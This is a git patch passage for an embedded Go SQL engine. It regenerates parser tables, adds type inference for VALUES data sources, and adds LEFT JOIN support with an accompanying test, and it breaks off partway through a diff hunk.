35, -1000, 105, 127, -21, 533, + -66, -1000, -1000, 445, -1000, -1000, 533, 542, 534, 348, + 152, 348, 292, 141, 487, 306, -1000, 359, 197, 150, + -24, -35, 513, -38, -39, 151, -52, -1000, -1000, -1000, + 377, -33, -1000, 267, 141, 141, 339, -1000, -1000, -1000, + 104, -1000, 141, 177, -89, -70, 127, -1000, -1000, -1000, + -1000, -1000, 149, -1000, 142, 140, 478, -24, -1000, -1000, + -1000, -1000, 141, 359, -36, 292, 333, -1000, 197, 342, + -1000, -1000, -73, -1000, 141, 150, 139, 150, 150, -55, + 150, -60, -76, -1000, 334, 359, 141, -61, 359, 424, + -1000, 141, 131, 232, 102, 95, -1000, -78, -1000, -1000, + -1000, -1000, 360, 34, 359, -1000, -1000, 127, -1000, 318, + -1000, 30, -24, -1000, -67, -1000, -81, -1000, -1000, -1000, + -1000, -1000, -1000, 141, 359, -1000, 406, 281, 403, 229, + -1000, 216, -94, -83, -1000, 358, -80, 335, 316, 547, + -1000, -1000, 150, 359, -36, 431, 141, -1000, -1000, -1000, + -1000, -1000, 355, -1000, 288, 141, 120, 477, -1000, -86, + -1000, 40, -1000, 306, 314, 359, 32, -1000, 141, -1000, + 431, 292, 141, 120, 359, -1000, -1000, 31, 273, -1000, + 141, -1000, -1000, -1000, 273, -1000, } var yyPgo = [...]int16{ - 0, 588, 519, 587, 586, 585, 27, 584, 583, 14, - 20, 7, 582, 581, 580, 8, 15, 12, 579, 10, - 578, 577, 3, 576, 575, 11, 16, 432, 21, 574, - 573, 41, 572, 13, 571, 570, 4, 0, 569, 18, - 568, 567, 566, 565, 564, 6, 2, 563, 562, 561, - 560, 5, 559, 558, 1, 9, 453, 557, 556, 555, - 19, 554, 553, 17, 552, 388, 551, 550, + 0, 592, 531, 591, 590, 589, 19, 588, 587, 14, + 20, 7, 586, 585, 12, 8, 15, 13, 584, 10, + 583, 582, 3, 581, 580, 11, 18, 456, 21, 579, + 578, 42, 577, 16, 576, 575, 4, 0, 574, 22, + 573, 572, 571, 570, 569, 6, 2, 568, 567, 566, + 565, 5, 564, 563, 1, 9, 386, 562, 561, 560, + 25, 559, 558, 17, 557, 353, 555, 554, } var yyR1 = [...]int8{ @@ -446,14 +447,14 @@ var yyR1 = [...]int8{ 6, 6, 6, 6, 6, 7, 24, 24, 23, 23, 48, 48, 49, 49, 20, 20, 20, 20, 21, 21, 22, 22, 25, 25, 25, 25, 25, 25, 25, 25, - 27, 28, 29, 29, 29, 30, 30, 30, 31, 31, - 32, 32, 33, 33, 34, 35, 35, 39, 39, 44, - 44, 40, 40, 45, 45, 46, 46, 53, 53, 55, - 55, 52, 52, 54, 54, 54, 51, 51, 51, 36, - 36, 36, 38, 38, 37, 37, 37, 37, 37, 37, - 37, 37, 37, 47, 66, 66, 42, 42, 41, 41, - 41, 41, 59, 59, 43, 43, 43, 43, 43, 43, - 43, 43, 43, + 25, 27, 28, 29, 29, 29, 30, 30, 30, 31, + 31, 32, 32, 33, 33, 34, 35, 35, 39, 39, + 44, 44, 40, 40, 45, 45, 46, 46, 53, 53, + 55, 55, 52, 52, 54, 54, 54, 51, 51, 51, + 36, 36, 36, 38, 38, 37, 37, 37, 37, 37, + 37, 37, 37, 37, 47, 66, 66, 42, 42, 41, + 41, 41, 41, 59, 59, 43, 43, 43, 43, 43, + 43, 43, 43, 43, } var yyR2 = [...]int8{ @@ -469,15 +470,15 @@ var yyR2 = [...]int8{ 3, 3, 0, 1, 0, 1, 2, 1, 4, 2, 2, 3, 2, 2, 4, 13, 0, 1, 0, 1, 1, 1, 2, 4, 1, 2, 4, 4, 2, 3, - 1, 3, 3, 4, 4, 4, 4, 4, 2, 6, - 1, 2, 0, 2, 2, 0, 2, 2, 2, 1, - 0, 1, 1, 2, 6, 0, 1, 0, 2, 0, - 3, 0, 2, 0, 2, 0, 2, 0, 3, 0, - 4, 2, 4, 0, 1, 1, 0, 1, 2, 0, - 4, 6, 0, 1, 1, 1, 2, 2, 4, 4, - 6, 6, 1, 5, 4, 5, 0, 2, 1, 1, - 3, 3, 0, 1, 3, 3, 3, 3, 3, 3, - 3, 3, 4, + 1, 3, 3, 4, 4, 4, 4, 4, 4, 2, + 6, 1, 2, 0, 2, 2, 0, 2, 2, 2, + 1, 0, 1, 1, 2, 6, 0, 1, 0, 2, + 0, 3, 0, 2, 0, 2, 0, 2, 0, 3, + 0, 4, 2, 4, 0, 1, 1, 0, 1, 2, + 0, 4, 6, 0, 1, 1, 1, 2, 2, 4, + 4, 6, 6, 1, 5, 4, 5, 0, 2, 1, + 1, 3, 3, 0, 1, 3, 3, 3, 3, 3, + 3, 3, 3, 4, } var yyChk = [...]int16{ @@ -508,70 +509,70 @@ var yyChk = [...]int16{ -17, -16, -37, 96, -8, -9, 96, 115, 96, 100, -10, -9, 96, 96, 96, 96, 100, 30, 30, 116, 107, 116, -45, 64, 25, -55, -60, -37, -55, -28, - -6, 15, 115, 115, 115, 115, -51, -51, 84, -37, - 115, 116, -42, 73, 75, -37, 100, 116, 116, 69, - 116, 107, 107, 97, -10, 115, -63, 11, 12, 13, - 116, 30, -63, 8, 8, -26, 48, -6, 96, -26, - -46, 65, -37, 26, -45, -32, -33, -34, -35, 93, - -51, 116, 21, 116, 116, 96, 116, -6, -16, 76, - -37, -37, 74, 97, -37, -36, -9, 35, 32, -50, - 117, 115, 116, -10, 96, 96, 96, -62, 26, -14, - -15, 115, -37, -11, 96, 115, -46, -39, -33, 59, - -51, 96, -51, -51, 116, -51, 116, 116, 74, -37, - 116, 33, -37, 96, -58, 84, 77, 98, 98, 116, - 52, 107, -17, -10, -44, 62, -25, 116, -37, 34, - 107, 35, -57, 83, 84, 118, 116, 53, -15, 116, - 116, -40, 60, 63, -55, -51, -11, -36, -37, 54, - -53, 66, -37, -13, -22, 26, 116, 107, -45, 63, - 107, -37, -36, -46, -52, -37, -22, 107, -54, 67, - 68, -37, -54, + 48, -6, 15, 115, 115, 115, 115, -51, -51, 84, + -37, 115, 116, -42, 73, 75, -37, 100, 116, 116, + 69, 116, 107, 107, 97, -10, 115, -63, 11, 12, + 13, 116, 30, -63, 8, 8, -26, 48, -6, 96, + -26, -46, 65, -37, 26, -45, -32, -33, -34, -35, + 93, -51, -14, -15, 115, 116, 21, 116, 116, 96, + 116, -6, -16, 76, -37, -37, 74, 97, -37, -36, + -9, 35, 32, -50, 117, 115, 116, -10, 96, 96, + 96, -62, 26, -14, -37, -11, 96, 115, -46, -39, + -33, 59, 107, 116, -17, -51, 96, -51, -51, 116, + -51, 116, 116, 74, -37, 116, 33, -37, 96, -58, + 84, 77, 98, 98, 116, 52, -10, -44, 62, -25, + -15, 116, 116, -37, 34, 107, 35, -57, 83, 84, + 118, 116, 53, 116, -40, 60, 63, -55, -51, -11, + -36, -37, 54, -53, 66, -37, -13, -22, 26, 116, + 107, -45, 63, 107, -37, -36, -46, -52, -37, -22, + 107, -54, 67, 68, -37, -54, } var yyDef = [...]int16{ 0, -2, 1, 4, 6, 7, 8, 10, 11, 12, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 97, 0, 108, 2, 5, 9, 47, 47, 47, 0, - 0, 14, 0, 132, 0, 0, 0, 0, 0, 0, + 0, 14, 0, 133, 0, 0, 0, 0, 0, 0, 0, 34, 36, 37, 38, 39, 40, 41, 42, 0, - 0, 0, 0, 0, 130, 106, 99, 100, 0, 102, + 0, 0, 0, 0, 131, 106, 99, 100, 0, 102, 103, 0, 109, 3, 0, 0, 0, 0, 47, 0, - 15, 16, 135, 0, 0, 18, 0, 0, 30, 0, - 0, 0, 33, 0, 0, 0, 0, 147, 0, 0, - 107, 101, 0, 0, 110, 111, 166, -2, 175, 0, - 0, 0, 182, 188, 189, 0, 172, 114, 0, 75, + 15, 16, 136, 0, 0, 18, 0, 0, 30, 0, + 0, 0, 33, 0, 0, 0, 0, 148, 0, 0, + 107, 101, 0, 0, 110, 111, 167, -2, 176, 0, + 0, 0, 183, 189, 190, 0, 173, 114, 0, 75, 76, 77, 78, 79, 0, 81, 82, 83, 84, 120, - 13, 0, 0, 0, 0, 0, 131, 0, 0, 133, - 0, 139, 134, 0, 0, 0, 0, 0, 0, 0, - 35, 0, 62, 0, 159, 0, 147, 59, 0, 98, + 13, 0, 0, 0, 0, 0, 132, 0, 0, 134, + 0, 140, 135, 0, 0, 0, 0, 0, 0, 0, + 35, 0, 62, 0, 160, 0, 148, 59, 0, 98, 104, 0, 0, 112, 0, 0, 0, 0, 0, 0, - 0, 0, 167, 0, 0, 0, 193, 176, 177, 0, - 0, 0, 173, 115, 0, 0, 0, 71, 0, 48, - 0, 0, 0, 0, 136, 137, 138, 0, 22, 0, + 0, 0, 168, 0, 0, 0, 194, 177, 178, 0, + 0, 0, 174, 115, 0, 0, 0, 71, 0, 48, + 0, 0, 0, 0, 137, 138, 139, 0, 22, 0, 0, 0, 0, 0, 0, 0, 0, 0, 63, 67, - 0, 153, 0, 148, 159, 0, 0, 159, 132, 0, - 0, 0, 0, 0, 166, 130, 166, 194, 195, 196, - 197, 198, 199, 200, 201, 0, 168, 0, 0, 191, - 0, 190, 186, 0, 0, 118, 0, 0, 120, 0, + 0, 154, 0, 149, 160, 0, 0, 160, 133, 0, + 0, 0, 0, 0, 167, 131, 167, 195, 196, 197, + 198, 199, 200, 201, 202, 0, 169, 0, 0, 192, + 0, 191, 187, 0, 0, 118, 0, 0, 120, 0, 0, 72, 73, 121, 0, 86, 0, 0, 0, 43, 0, 23, 24, 0, 26, 27, 43, 0, 0, 0, - 0, 0, 155, 0, 0, 153, 60, 61, -2, 166, - 0, 0, 0, 0, 0, 0, 128, 113, 202, 178, - 0, 179, 0, 0, 0, 0, 119, 116, 117, 0, - 85, 0, 169, 89, 0, 0, 28, 44, 45, 46, - 21, 0, 29, 0, 0, 57, 0, 56, 68, 52, - 53, 0, 154, 0, 155, 147, 141, -2, 0, 146, - 122, 166, 0, 166, 166, 0, 166, 0, 0, 183, - 0, 187, 0, 0, 74, 0, 87, 0, 0, 94, - 0, 0, 19, 0, 25, 31, 32, 51, 0, 55, - 64, 71, 156, 160, 49, 0, 54, 149, 143, 0, - 123, 0, 124, 125, 126, 127, 180, 181, 0, 184, - 80, 0, 0, 0, 92, 95, 0, 0, 0, 20, - 0, 0, 0, 0, 151, 0, 159, 166, 185, 0, - 169, 0, 88, 93, 96, 90, 91, 0, 65, 66, - 50, 157, 0, 0, 0, 129, 0, 170, 0, 58, - 153, 0, 152, 150, 69, 0, 17, 169, 155, 0, - 0, 144, 171, 105, 158, 163, 70, 0, 161, 164, - 165, 163, 162, + 0, 0, 156, 0, 0, 154, 60, 61, -2, 167, + 0, 0, 0, 0, 0, 0, 0, 129, 113, 203, + 179, 0, 180, 0, 0, 0, 0, 119, 116, 117, + 0, 85, 0, 170, 89, 0, 0, 28, 44, 45, + 46, 21, 0, 29, 0, 0, 57, 0, 56, 68, + 52, 53, 0, 155, 0, 156, 148, 142, -2, 0, + 147, 122, 0, 64, 71, 167, 0, 167, 167, 0, + 167, 0, 0, 184, 0, 188, 0, 0, 74, 0, + 87, 0, 0, 94, 0, 0, 19, 0, 25, 31, + 32, 51, 0, 55, 157, 161, 49, 0, 54, 150, + 144, 0, 0, 123, 0, 124, 0, 125, 126, 127, + 128, 181, 182, 0, 185, 80, 0, 0, 0, 92, + 95, 0, 0, 0, 20, 0, 0, 152, 0, 160, + 65, 66, 167, 186, 0, 170, 0, 88, 93, 96, + 90, 91, 0, 50, 158, 0, 0, 0, 130, 0, + 171, 0, 58, 154, 0, 153, 151, 69, 0, 17, + 170, 156, 0, 0, 145, 172, 105, 159, 164, 70, + 0, 162, 165, 166, 164, 163, } var yyTok1 = [...]int8{ @@ -1561,277 +1562,282 @@ yydefault: yyVAL.ds = yyDollar[1].tableRef } case 123: + yyDollar = yyS[yypt-4 : yypt+1] + { + yyVAL.ds = &valuesDataSource{inferTypes: true, rows: yyDollar[3].rows} + } + case 124: yyDollar = yyS[yypt-4 : yypt+1] { yyDollar[2].stmt.(*SelectStmt).as = yyDollar[4].id yyVAL.ds = yyDollar[2].stmt.(DataSource) } - case 124: + case 125: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "databases"}, as: yyDollar[4].id} } - case 125: + case 126: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "tables"}, as: yyDollar[4].id} } - case 126: + case 127: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "table", params: []ValueExp{&Varchar{val: yyDollar[3].id}}}} } - case 127: + case 128: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "users"}, as: yyDollar[4].id} } - case 128: + case 129: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: yyDollar[1].value.(*FnCall), as: yyDollar[2].id} } - case 129: + case 130: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.ds = &tableRef{table: yyDollar[4].id, history: true, as: yyDollar[6].id} } - case 130: + case 131: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.tableRef = &tableRef{table: yyDollar[1].id} } - case 131: + case 132: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.period = period{start: yyDollar[1].openPeriod, end: yyDollar[2].openPeriod} } - case 132: + case 133: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 133: + case 134: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 134: + case 135: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 135: + case 136: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 136: + case 137: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 137: + case 138: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 138: + case 139: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: txInstant, exp: yyDollar[2].exp} } - case 139: + case 140: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: timeInstant, exp: yyDollar[1].exp} } - case 140: + case 141: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joins = nil } - case 141: + case 142: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = yyDollar[1].joins } - case 142: + case 143: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = []*JoinSpec{yyDollar[1].join} } - case 143: + case 144: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.joins = append([]*JoinSpec{yyDollar[1].join}, yyDollar[2].joins...) } - case 144: + case 145: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.join = &JoinSpec{joinType: yyDollar[1].joinType, ds: yyDollar[3].ds, indexOn: yyDollar[4].ids, cond: yyDollar[6].exp} } - case 145: + case 146: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joinType = InnerJoin } - case 146: + case 147: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joinType = yyDollar[1].joinType } - case 147: + case 148: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 148: + case 149: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 149: + case 150: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.cols = nil } - case 150: + case 151: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.cols = yyDollar[3].cols } - case 151: + case 152: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 152: + case 153: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 153: + case 154: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 154: + case 155: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 155: + case 156: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 156: + case 157: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 157: + case 158: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ordexps = nil } - case 158: + case 159: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.ordexps = yyDollar[3].ordexps } - case 159: + case 160: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ids = nil } - case 160: + case 161: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ids = yyDollar[4].ids } - case 161: + case 162: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ordexps = []*OrdExp{{exp: yyDollar[1].exp, descOrder: yyDollar[2].opt_ord}} } - case 162: + case 163: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ordexps = append(yyDollar[1].ordexps, &OrdExp{exp: yyDollar[3].exp, descOrder: yyDollar[4].opt_ord}) } - case 163: + case 164: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.opt_ord = false } - case 164: + case 165: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = false } - case 165: + case 166: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = true } - case 166: + case 167: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.id = "" } - case 167: + case 168: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.id = yyDollar[1].id } - case 168: + case 169: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.id = yyDollar[2].id } - case 169: + case 170: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.checks = nil } - case 170: + case 171: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.checks = append([]CheckConstraint{{exp: yyDollar[2].exp}}, yyDollar[4].checks...) } - case 171: + case 172: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.checks = append([]CheckConstraint{{name: yyDollar[2].id, exp: yyDollar[4].exp}}, yyDollar[6].checks...) } - case 172: + case 173: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 173: + case 174: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].exp } - case 174: + case 175: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].exp } - case 175: + case 176: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].binExp } - case 176: + case 177: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NotBoolExp{exp: yyDollar[2].exp} } - case 177: + case 178: yyDollar = yyS[yypt-2 : yypt+1] { i, isInt := yyDollar[2].exp.(*Integer) @@ -1842,32 +1848,32 @@ yydefault: yyVAL.exp = &NumExp{left: &Integer{val: 0}, op: SUBSOP, right: yyDollar[2].exp} } } - case 178: + case 179: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &LikeBoolExp{val: yyDollar[1].exp, notLike: yyDollar[2].boolean, pattern: yyDollar[4].exp} } - case 179: + case 180: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &ExistsBoolExp{q: (yyDollar[3].stmt).(DataSource)} } - case 180: + case 181: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InSubQueryExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, q: yyDollar[5].stmt.(*SelectStmt)} } - case 181: + case 182: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InListExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, values: yyDollar[5].values} } - case 182: + case 183: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].exp } - case 183: + case 184: yyDollar = yyS[yypt-5 : yypt+1] { yyVAL.exp = &CaseWhenExp{ @@ -1876,97 +1882,97 @@ yydefault: elseExp: yyDollar[4].exp, } } - case 184: + case 185: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.whenThenClauses = []whenThenClause{{when: yyDollar[2].exp, then: yyDollar[4].exp}} } - case 185: + case 186: yyDollar = yyS[yypt-5 : yypt+1] { yyVAL.whenThenClauses = append(yyDollar[1].whenThenClauses, whenThenClause{when: yyDollar[3].exp, then: yyDollar[5].exp}) } - case 186: + case 187: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 187: + case 188: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 188: + case 189: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].sel } - case 189: + case 190: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].value } - case 190: + case 191: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 191: + case 192: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = &Cast{val: yyDollar[1].exp, t: yyDollar[3].sqlType} } - case 192: + case 193: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 193: + case 194: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = true } - case 194: + case 195: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: ADDOP, right: yyDollar[3].exp} } - case 195: + case 196: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: SUBSOP, right: yyDollar[3].exp} } - case 196: + case 197: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: DIVOP, right: yyDollar[3].exp} } - case 197: + case 198: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: MULTOP, right: yyDollar[3].exp} } - case 198: + case 199: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: MODOP, right: yyDollar[3].exp} } - case 199: + case 200: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &BinBoolExp{left: yyDollar[1].exp, op: yyDollar[2].logicOp, right: yyDollar[3].exp} } - case 200: + case 201: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: yyDollar[2].cmpOp, right: yyDollar[3].exp} } - case 201: + case 202: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: EQ, right: &NullValue{t: AnyType}} } - case 202: + case 203: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: NE, right: &NullValue{t: AnyType}} diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index cdb96b9bb2..c6cbe46d6c 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -3883,7 +3883,8 @@ func (stmt *tableRef) Alias() string { } type valuesDataSource struct { - rows []*RowSpec + inferTypes bool + rows []*RowSpec } func NewValuesDataSource(rows []*RowSpec) *valuesDataSource { @@ -3925,11 +3926,37 @@ func (ds *valuesDataSource) Resolve(ctx context.Context, tx *SQLTx, params map[s } } + emptyColsDesc, emptyParams := map[string]ColDescriptor{}, map[string]string{} + + if ds.inferTypes { + for i := 0; i < len(cols); i++ { + t := AnyType + for j := 0; j < len(ds.rows); j++ { + e, err := ds.rows[j].Values[i].substitute(params) + if err != nil { + return nil, err + } + + it, err := e.inferType(emptyColsDesc, emptyParams, "") + if err != nil { + return nil, err + } + + if t == AnyType { + t = it + } else if t != it && it != AnyType { + return nil, fmt.Errorf("cannot match types %s and %s", t, it) + } + } + cols[i].Type = t + } + } + values := make([][]ValueExp, len(ds.rows)) for i, rowSpec := range ds.rows { values[i] = rowSpec.Values } - return newValuesRowReader(tx, params, cols, false, "values", values) + return newValuesRowReader(tx, params, cols, ds.inferTypes, "values", values) } type JoinSpec struct { From 344275dc55d74d4253534a94be04986a0bcbf02f Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Mon, 9 Dec 2024 17:54:34 +0100 Subject: [PATCH 1059/1062] chore(embedded/sql): add support for LEFT JOIN Signed-off-by: Stefano Scafiti --- embedded/sql/engine_test.go | 138 ++++++++++++++++++++++++++ embedded/sql/joint_row_reader.go | 43 +++++--- embedded/sql/joint_row_reader_test.go | 5 +- embedded/sql/stmt.go | 1 - 4 files changed, 173 insertions(+), 14 deletions(-) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 78f812b6ce..3c44841de3 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -5986,6 +5986,123 @@ func TestNestedJoins(t *testing.T) { require.NoError(t, err) } +func TestLeftJoins(t *testing.T) { + e := setupCommonTest(t) + + _, _, err := e.Exec( + context.Background(), + nil, + ` + CREATE TABLE customers ( + customer_id INTEGER, + customer_name VARCHAR(50), + email VARCHAR(100), + + PRIMARY KEY customer_id + ); + + CREATE TABLE products ( + product_id INTEGER, + product_name VARCHAR(50), + price FLOAT, + + PRIMARY KEY product_id + ); + + CREATE TABLE orders ( + order_id INTEGER, + customer_id INTEGER, + order_date TIMESTAMP, + + PRIMARY KEY order_id + ); + + CREATE TABLE order_items ( + order_item_id INTEGER, + order_id INTEGER, + product_id INTEGER, + quantity INTEGER, + + PRIMARY KEY order_item_id + ); + + INSERT INTO customers (customer_id, customer_name, email) + VALUES + (1, 'Alice Johnson', 'alice@example.com'), + (2, 'Bob Smith', 'bob@example.com'), + (3, 'Charlie Brown', 'charlie@example.com'); + + INSERT INTO products (product_id, product_name, price) + VALUES + (1, 'Laptop', 1200.00), + (2, 'Smartphone', 800.00), + (3, 'Tablet', 400.00); + + INSERT INTO orders (order_id, customer_id, order_date) + VALUES + (101, 1, '2024-11-01'::TIMESTAMP), + (102, 2, '2024-11-02'::TIMESTAMP), + (103, 1, '2024-11-03'::TIMESTAMP); + + INSERT INTO order_items (order_item_id, order_id, product_id, quantity) + VALUES + (1, 101, 1, 2), + (2, 101, 2, 1), + (3, 102, 3, 3), + (4, 103, 2, 2); + `, + nil, + ) + require.NoError(t, err) + + assertQueryShouldProduceResults( + t, + e, + `SELECT c.customer_id, c.customer_name, c.email, o.order_id, o.order_date + FROM customers c LEFT JOIN orders o ON c.customer_id = o.customer_id + ORDER BY c.customer_id, o.order_date;`, + ` + SELECT * + FROM ( + VALUES + (1, 'Alice Johnson', 'alice@example.com', 101, '2024-11-01'::TIMESTAMP), + (1, 'Alice Johnson', 'alice@example.com', 103, '2024-11-03'::TIMESTAMP), + (2, 'Bob Smith', 'bob@example.com', 102, '2024-11-02'::TIMESTAMP), + (3, 'Charlie Brown', 'charlie@example.com', NULL, NULL) + )`, + ) + + assertQueryShouldProduceResults( + t, + e, + ` + SELECT + c.customer_name, + c.email, + o.order_id, + o.order_date, + p.product_name, + oi.quantity, + p.price, + (oi.quantity * p.price) AS total_price + FROM + products p + LEFT JOIN order_Items oi ON p.product_id = oi.product_id + LEFT JOIN orders o ON oi.order_id = o.order_id + LEFT JOIN customers c ON o.customer_id = c.customer_id + ORDER BY o.order_date, c.customer_name;`, + ` + SELECT * + FROM ( + VALUES + ('Alice Johnson', 'alice@example.com', 101, '2024-11-01'::TIMESTAMP, 'Laptop', 2, 1200.00, 2400.00), + ('Alice Johnson', 'alice@example.com', 101, '2024-11-01'::TIMESTAMP, 'Smartphone', 1, 800.00, 800.00), + ('Bob Smith', 'bob@example.com', 102, '2024-11-02'::TIMESTAMP, 'Tablet', 3, 400.00, 1200.00), + ('Alice Johnson', 'alice@example.com', 103, '2024-11-03'::TIMESTAMP, 'Smartphone', 2, 800.00, 1600.00) + )`, + ) +} + func TestReOpening(t *testing.T) { st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) @@ -9434,3 +9551,24 @@ func TestFunctions(t *testing.T) { require.Equal(t, "OBJECT", rows[0].ValuesByPosition[0].RawValue().(string)) }) } + +func assertQueryShouldProduceResults(t *testing.T, e *Engine, query, resultQuery string) { + queryReader, err := e.Query(context.Background(), nil, query, nil) + require.NoError(t, err) + defer queryReader.Close() + + resultReader, err := e.Query(context.Background(), nil, resultQuery, nil) + require.NoError(t, err) + defer resultReader.Close() + + for { + actualRow, actualErr := queryReader.Read(context.Background()) + expectedRow, expectedErr := resultReader.Read(context.Background()) + require.Equal(t, expectedErr, actualErr) + + if errors.Is(actualErr, ErrNoMoreRows) { + break + } + require.Equal(t, expectedRow.ValuesByPosition, actualRow.ValuesByPosition) + } +} diff --git a/embedded/sql/joint_row_reader.go b/embedded/sql/joint_row_reader.go index ddd04b717a..e01ba14a02 100644 --- a/embedded/sql/joint_row_reader.go +++ b/embedded/sql/joint_row_reader.go @@ -39,7 +39,9 @@ func newJointRowReader(rowReader RowReader, joins []*JoinSpec) (*jointRowReader, } for _, jspec := range joins { - if jspec.joinType != InnerJoin { + switch jspec.joinType { + case InnerJoin, LeftJoin: + default: return nil, ErrUnsupportedJoinType } } @@ -113,7 +115,6 @@ func (jointr *jointRowReader) colsBySelector(ctx context.Context) (map[string]Co colDescriptors[sel] = des } } - return colDescriptors, nil } @@ -240,17 +241,35 @@ func (jointr *jointRowReader) Read(ctx context.Context) (row *Row, err error) { r, err := reader.Read(ctx) if err == ErrNoMoreRows { - // previous reader will need to read next row - unsolvedFK = true - - err = reader.Close() - if err != nil { - return nil, err + if jspec.joinType == InnerJoin { + // previous reader will need to read next row + unsolvedFK = true + + err = 